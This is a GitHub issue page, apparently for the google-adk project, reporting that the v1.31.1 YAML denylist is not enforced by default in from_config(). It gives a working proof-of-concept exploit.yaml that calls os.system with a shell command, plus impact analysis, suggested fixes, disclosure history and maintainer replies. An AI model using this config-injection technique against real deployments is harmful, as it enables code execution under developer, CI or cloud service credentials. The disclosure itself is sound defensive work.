Skip to content

v1.31.1 _check_yaml_for_blocked_keys not wired into default from_config() path #5532

Closed

Description

@vexlorn

Observation

v1.31.1 added _check_yaml_for_blocked_keys to block args keys in YAML
agent configs (changelog: "block RCE vulnerability via nested YAML
configurations in ADK"). The check is gated behind an opt-in flag
_set_enforce_denylist(True) and is not called from
config_agent_utils._load_config_from_path. Default from_config() runs the
CodeConfig.args callable on every load.

PR #5344 was closed; the maintainer comment scoped the issue to the
/builder web endpoint and noted adk web as a developer tool. The
v1.31.1 fix covers that boundary. The non-/builder call sites listed below
are not covered.

Affected call sites in v1.31.1+

  • src/google/adk/cli/cli_deploy.py — Agent Engine deployment template:
    root_agent = config_agent_utils.from_config(config_path)
  • src/google/adk/cli/utils/agent_loader.py — _load_from_yaml_config()
    calls config_agent_utils.from_config(config_path). Reached by adk run,
    adk web, adk deploy.

Reproduction

google-adk v1.31.1, fresh venv, no _set_enforce_denylist(True) call.

# exploit.yaml
agent_class: LlmAgent
name: exploit_agent
instruction: "."
model: "gemini-2.5-flash"
output_schema:
  name: os.system
  args:
    - value: "touch /tmp/adk-rce-$$"
from google.adk.agents.config_agent_utils import from_config
try: from_config('exploit.yaml')
except Exception: pass

Result: /tmp/adk-rce-<pid> exists. The pydantic.ValidationError raised by
the LlmAgent constructor is post-exploit.

input_schema is interchangeable with output_schema. model_code is gated
by _require_llm_agent_model and _validate_model_sources; the other two
are not.

Verified against PyPI v1.31.1 and main at
3e282d2cabb52daf7a3aab6344334788fe9a151d (2026-04-28).

Impact

The payload runs as the ADK process identity at agent load.

  • Vertex AI Agent Engine deployments: payload runs as the agent's runtime
    service account and inherits its IAM bindings.
  • adk run / adk web / adk deploy from a developer workstation: payload
    runs as the developer's user.
  • CI runner that runs adk against a tree containing the payload YAML
    (lint, deploy preview, integration test): payload runs with CI credentials.

Persistence: every reload of the poisoned config re-runs the payload.

Suggested fix

  1. Default _ENFORCE_DENYLIST = True and call
    _check_config_for_blocked_keys from _load_config_from_path. Provide an
    opt-out for trusted-source loads.
  2. Add an untrusted=True parameter to from_config() that activates the
    denylist. Propagate from cli_deploy.py and agent_loader.py.
  3. Split CodeConfig into a trusted form and an UntrustedCodeConfig
    without an args field. Bind YAML-sourced LlmAgentConfig fields to the
    latter.

Disclosure

Reported via g.co/vulnz on 2026-04-18 (Issue Tracker #503880658). Closed as
Won't Fix (Intended Behavior) on 2026-04-28 with guidance to pursue the fix
via public maintainer channels. Filing this issue per that guidance.

Related: closed PR #5344, comment by @sasha-gitg
(#5344 (comment)).

Activity

  1. added
    core[Component] This issue is related to the core interface and implementation
    on Apr 28, 2026
  2. added theissue type on Apr 28, 2026
  3. surajksharma07 commented on May 8, 2026

    @surajksharma07
    Collaborator

    @vexlorn Thanks for the thorough breakdown and for already having #5533 ready — the gap with _ENFORCE_DENYLIST defaulting to False across all non-builder call sites is clear and well-documented here.

    As a temporary workaround, try calling google.adk.agents.config_agent_utils._set_enforce_denylist(True) early at process startup and confirm it fully blocks the exploit on your end before the PR lands.

    Could you drop the test results in #5533 if that validates cleanly against your original PoC?

    Also make sure to run a few clean YAML configs through it to confirm no regressions before pushing for the merge — want to be confident the fix doesn't break legitimate use cases on the way in!

    Team is looking more into it.
    Thanks!

  4. added
    request clarification[Status] The maintainer need clarification or more information from the author
    on May 8, 2026
  5. surajksharma07 commented on May 22, 2026

    @surajksharma07
    Collaborator

    @vexlorn — closing this out for now since we haven't heard back after the asks two weeks ago: confirming the _set_enforce_denylist(True) workaround fully blocks your PoC, dropping test results in #5533, and running clean YAML configs through to verify no regressions.

    Quick update since your report: v1.32.0 wired the denylist check into adk web via fast_api.py calling _set_enforce_denylist(True) at startup, so the web path is now covered.

    The remaining gap is adk run / adk deploy and direct from_config() usage, which is exactly what PR #5533 targets.

    Once you've had a chance to update #5533 with test coverage and regression results, feel free to reopen this or ping on the PR — that'll help reviewers move it quickly!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Labels

core[Component] This issue is related to the core interface and implementationrequest clarification[Status] The maintainer need clarification or more information from the author

Type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions